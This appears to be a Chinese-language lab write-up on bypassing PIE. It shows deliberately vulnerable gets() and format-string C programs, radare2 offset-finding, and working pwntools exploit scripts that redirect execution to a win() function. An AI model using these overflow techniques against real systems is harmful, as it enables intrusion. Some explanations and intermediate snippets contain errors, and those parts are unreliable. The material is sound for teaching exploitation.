pie

PIE(Position Independent Executable,可移植执行码)是一种特殊的执行文件格式,常用于保护程序执行空间的受限和安全性。使用 PIE 能够让加载到内存的代码不会固定地映射到特定的地址,每次加载时都能让其他程序更难预测它想要加载到哪里。

代码重定位的例子有:加载时技术(load-time relocation)、运行时重定位(runtime relocation);在 Windows 中,还包括延迟加载(delay-load)、安全重定位(safe relocation)和编译/连接时重定位(compile/link-time relocation)等。

要绕过 PIE,可以使用静态地址访问(static address access),即直接使用实际的、与特定页面关联的地址去访问代码段映射的内存空间。此外,也可以使用类似 RET2LIBC 的攻击来访问已知的库函数并执行 System Call 来获取系统权限。

漏洞程序: 主动泄漏绝对地址

vuln.c

// gcc vuln.c -o vuln -fno-stack-protector -z noexecstack -m32

#include <stdio.h>

int main() {
    vuln();

    return 0;
}

void vuln() {
    char buffer[20];

    printf("Main Function is at: %lp\n", main);

    gets(buffer);
}

void win() {
    puts("PIE bypassed! Great job :D");
}                                        

利用分析

  1. ret距离
  • get de luijin sequences
─$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh    
  • get ret’s offset in stack
0xf7fe4450]> dc
Main Function is at: 0x565561ad
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
[+] SIGNAL 11 errno=0 addr=0x41414c41 code=1 si_pid=1094798401 ret=0
[0x41414c41]> wopO 0x41414c41
32

so the offset is 32

  1. get win’s address
  • get main’s address
elf = context.binary = ELF('./vuln')
p = process
p.recvuntil(b'at: ')
main_addr = int(p.recvline(),16)
  • get win’s address
elf.address = main_addr - elf.sym['win']
win_address = elf.sym['win']
  1. build payload
payload = flat('A'*32, win_address)

pwn code

from pwn import *

elf = context.binary = ELF('./vuln-32')

p = process()

# get main's absolute address
p.recvuntil('at: ')
main = int(p.recvline(),16)

# set elf base address
elf.address = main - elf.sym['main']

# set payload
payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)
log.info(p.recvline().decode('latin-1'))

pwn result

─$ python exploit.py 
[*] '/home/kali/exploits/pie/32/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
[+] Starting local process '/home/kali/exploits/pie/32/vuln': pid 1952115
[*] PIE bypassed! Great job :D
[*] Stopped process '/home/kali/exploits/pie/32/vuln' (pid 1952115)

漏洞程序:printf泄漏地址

vuln.c

// gcc source.c -o vuln-64 -fno-stack-protector -z noexecstack

#include <stdio.h>

void vuln() {
    char buffer[20];

    printf("What's your name?\n");
    gets(buffer);
    
    printf("Nice to meet you ");
    printf(buffer);
    printf("\n");

    puts("What's your message?");

    gets(buffer);
}

int main() {
    vuln();

    return 0;
}

void win() {
    puts("PIE bypassed! Great job :D");
}  

利用分析

  1. printf(buffer)获取返回地址
[0x555555555169]> db 0x5555555551a0
[0x555555555169]> dc
What's your name?
%p %p %p %p %p
hit breakpoint at: 0x5555555551a0
[0x5555555551a0]> dc
Nice to meet you 0x555555556016 (nil) (nil) 0x5555555596bf (nil)
What's your message?

ret = 0x555555556016 2. 计算偏移地址

[0x7ffff7ea12b9]> i~baddr
baddr    0x555555554000

offset = 0x555555556016 - 0x555555554000 == 0x2016 3. 定位rip

└─$ ragg2 -P 100 -r   
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh  
0x7ffff7fe59c0]> dc
What's your name?
%p
Nice to meet you 0x555555556016
What's your message?
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
[0x5555555551e2]> dr
rax = 0x7fffffffe2e0
rbx = 0x7fffffffe428
rcx = 0x7ffff7f9fa80
rdx = 0x00000001
r8 = 0x555555559715
r9 = 0x00000000
r10 = 0x7ffff7ddae00
r11 = 0x00000246
r12 = 0x00000000
r13 = 0x7fffffffe438
r14 = 0x555555557dd8
r15 = 0x7ffff7ffd020
rsi = 0x00000001
rdi = 0x7ffff7fa1a20
rsp = 0x7fffffffe308
rbp = 0x4e41414d41414c41
rip = 0x5555555551e2
rflags = 0x00010206
orax = 0xffffffffffffffff

[0x5555555551e2]> wopO `dr rbp`
32

rip_offset = rbp_offset + 8 = 40

pwn code

from pwn import *

elf = context.binary = ELF('./vuln-64')
p = process()
p.recvuntil('name?\n')
p.sendline('%p')

p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)

elf.address = elf_leak - 0x2016

payload = b'A' * 40
payload += p64(elf.sym['win'])

p.recvuntil('message?\n')
p.sendline(payload)

print(p.clean().decode())

pwn result

─$ python exploit-64.py 
[*] '/home/kali/exploits/pie/fmt64/vuln-64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/kali/exploits/pie/fmt64/vuln-64': pid 1952320
PIE bypassed! Great job :D